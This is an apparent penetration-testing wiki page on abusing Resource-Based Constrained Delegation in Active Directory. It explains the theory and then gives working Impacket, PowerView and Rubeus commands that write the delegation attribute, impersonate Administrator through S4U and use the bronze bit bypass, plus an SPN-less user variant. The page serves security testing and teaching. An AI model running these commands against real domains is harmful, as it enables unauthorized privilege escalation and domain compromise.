(RBCD) Resource-based constrained

Theory
If an account, having the capability to edit the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of another object (e.g. the GenericWrite ACE, see Abusing ACLs), is compromised, an attacker can use it populate that attribute, hence configuring that object for RBCD.
Machine accounts can edit their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute, hence allowing RBCD attacks on relayed machine accounts authentications.
For this attack to work, the attacker needs to populate the target attribute with an account having a ServicePrincipalName set (needed for Kerberos delegation operations). The usual way to conduct these attacks is to create a computer account, which comes with an SPN set. This is usually possible thanks to a domain-level attribute called MachineAccountQuota that allows regular users to create up to 10 computer accounts. While this "computer account creation + RBCD attack" is the most common exploitation path, doing so with a user account (having at least one SPN) is perfectly feasible.
In 2022, Jame Forshaw demonstrated that the SPN requirement wasn't completely mandatory and RBCD could be operated without: Exploiting RBCD using a normal user. While this technique is a bit trickier and should absolutely be avoided on regular user accounts (the technique renders them unusable for normal people), it allows to abuse RBCD even if the MachineAccountQuota is set to 0. The technique is demonstrated later on in this page (RBCD on SPN-less user).
Then, in order to abuse this, the attacker has to control the account the object's attribute has been populated with (i.e. the account that has an SPN). Using that account's credentials, the attacker can obtain a ticket through S4U2Self and S4U2Proxy requests, just like constrained delegation with protocol transition.
In the end, an RBCD abuse results in a Service Ticket to authenticate on a target service on behalf of a user. Once the final Service Ticket is obtained, it can be used with Pass-the-Ticket to access the target service. 
On a side note, a technique called AnySPN or "service class modification" can be used concurrently with pass-the-ticket to change the service class the Service Ticket was destined to (e.g. for the cifs/target.domain.local SPN, the service class is cifs).
The msDS-AllowedToActOnBehalfOfOtherIdentity was introduced with Windows Server 2012 implying that RBCD only works when the Domain Controller Functionality Level (DCFL) is Windows Server 2012 or higher.
Practice
UNIX-like
Windows
1 - Edit the target's "rbcd" attribute (DACL abuse) ✏
 
​Impacket's rbcd.py script (Python) can be used to read, write or clear the delegation rights, using the credentials of a domain user that has the needed permissions.
# Read the attribute
rbcd.py -delegate-to 'target#x27; -dc-ip 'DomainController' -action 'read' 'domain'/'PowerfulUser':'Password'
​
# Append value to the msDS-AllowedToActOnBehalfOfOtherIdentity
rbcd.py -delegate-from 'controlledaccountwithSPN' -delegate-to 'target#x27; -dc-ip 'DomainController' -action 'write' 'domain'/'PowerfulUser':'Password'
Testers can also use ntlmrelayx to set the delegation rights with the --delegate-access option when conducting this attack from a relayed authentication.
In this example, controlledaccountwithSPN can be a computer account created for the attack, or any other account -with at least one Service Principal Name set- which credentials are known to the attacker.
2 - Obtain a ticket (delegation operation) 🎫
 
Once the attribute has been modified, the Impacket script getST (Python) can then perform all the necessary steps to obtain the final "impersonating" ST (in this case, "Administrator" is impersonated but it can be any user in the environment).
getST.py -spn 'cifs/target' -impersonate Administrator -dc-ip 'DomainController' 'domain/controlledaccountwithSPN:SomePassword'
In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the -force-forwardable option to try to bypass restrictions.
The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org). There however scenarios where the SPN can be changed (AnySPN) to access more service. This technique is automatically tried by Impacket scripts when doing pass-the-ticket.
3 - Pass-the-ticket 🛂
 
Once the ticket is obtained, it can be used with pass-the-ticket.
In order to run the following commands and tools as other users, testers can check the user impersonation part.
1 - Edit the target's security descriptor (ACE abuse)✏
 
The PowerShell ActiveDirectory module's cmdlets Set-ADComputer and Get-ADComputer can be used to write and read the attributed of an object (in this case, to modify the delegation rights).
# Read the security descriptor
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
​
# Populate the msDS-AllowedToActOnBehalfOfOtherIdentity
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount 'controlledaccountwithSPN'
PowerSploit's PowerView module is an alternative that can be used to edit the attribute (source).
# Obtain the SID of the controlled account with SPN (e.g. Computer account)
$ComputerSid = Get-DomainComputer "controlledaccountwithSPN" -Properties objectsid | Select -Expand objectsid
​
# Build a generic ACE with the attacker-added computer SID as the pricipal, and get the binary bytes for the new DACL/ACE
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
​
# set SD in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the target comptuer account
Get-DomainComputer "targetquot; | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
2 - Obtain a ticket (delegation operation) 🎫
 
​Rubeus can then be used to request the TGT and "impersonation ST" and inject it for later use.
# Request the TGT
Rubeus.exe tgtdeleg /nowrap
​
# Request the "impersonation" service ticke
Rubeus.exe s4u /nowrap /impersonateuser:"administrator" /msdsspn:"cifs/target" /domain:"domain" /user:"controlledaccountwithSPN" /rc4:$NThash
The NT hash can be computed as follows.
Rubeus.exe hash /password:$password
In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the /bronzebit flag to try to bypass restrictions.
The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org). There however scenarios where the SPN can be changed (AnySPN) to access more services. This technique can be exploited with the /altservice flag with Rubeus.
3 - Pass-the-ticket 🛂
 
Once the ticket is injected, it can natively be used when accessing the service (see pass-the-ticket).
RBCD on SPN-less users
In 2022, Jame Forshaw demonstrated that the SPN requirement wasn't completely mandatory and RBCD could be operated without: Exploiting RBCD using a normal user. While this technique is a bit trickier and should absolutely be avoided on regular user accounts (the technique renders them unusable for normal people), it allows to abuse RBCD even if the MachineAccountQuota is set to 0. In this case, the first (edit the "rbcd" attribute) and last ("Pass-the-ticket") steps are the same. Only the "Obtain a ticket" step changes.
The technique is as follows:
1.Obtain a TGT for the SPN-less user allowed to delegate to a target and retrieve the TGT session key.
2.Change the user's password hash and set it to the TGT session key.
3.​Combine S4U2self and U2U so that the SPN-less user can obtain a service ticket to itself, on behalf of another (powerful) user, and then proceed to S4U2proxy to obtain a service ticket to the target the user can delegate to, on behalf of the other, more powerful, user.
4.​Pass the ticket and access the target, as the delegated other
While this technique allows for an abuse of the RBCD primitive, even when the MachineAccountQuota is set to 0, or when the absence of LDAPS limits the creation of computer accounts, it requires a sacrificial user account. In the abuse process, the user account's password hash will be reset with another hash that has no known plaintext, effectively preventing regular users from using this account.
UNIX-like
Windows
From UNIX-like systems, Impacket (Python) scripts can be used to operate that technique. At the time of writing, September 7th 2022, some of the tools used below are in Pull Requests still being reviewed before merge (#1201 and #1202).
# Obtain a TGT through overpass-the-hash to use RC4
getTGT.py -hashes :$(pypykatz crypto nt 'SomePassword') 'domain'/'controlledaccountwithoutSPN'
​
# Obtain the TGT session key
describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'
​
# Change the controlledaccountwithoutSPN's NT hash with the TGT session key
smbpasswd.py -newhashes :TGTSessionKey 'domain'/'controlledaccountwithoutSPN':'SomePassword'@'DomainController'
​
# Obtain the delegated service ticket through S4U2self+U2U, followed by S4U2proxy (the steps could be conducted individually with the -self and -additional-ticket flags)
KRBR5CCNAME='TGT.ccache' getST.py -u2u -impersonate Administrator -k -no-pass 'domain'/'controlledaccountwithoutSPN'
​
# The password can then be reset to its old value (or another one if the domain policy forbids it, which is usually the case)
smbpasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash 'domain'/'controlledaccountwithoutSPN'@'DomainController'
After these steps, the final service ticket can be used with Pass-the-ticket.
From Windows systems, Rubeus (C#) can be used to operate the technique.
The steps detailed in PR #137 can be followed.
After these steps, the final service ticket can be used with Pass-the-ticket.
Resources
Resource-Based Constrained Delegation Abuse
Stealthbits Technologies
Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
Shenanigans Labs
CVE-2020-17049: Kerberos Bronze Bit Attack - Theory
NetSPI
Abusing forgotten permissions on computer objects in Active Directory
dirkjanm.io
Exploiting RBCD Using a Normal User Account*
Privilege Escalation - Exploiting RBCD Using a User Account - 跳跳糖
(KCD) Constrained
S4U2self abuse
Last modified 3d ago
Copy link
On this page
Theory
Practice
RBCD on SPN-less users
Resources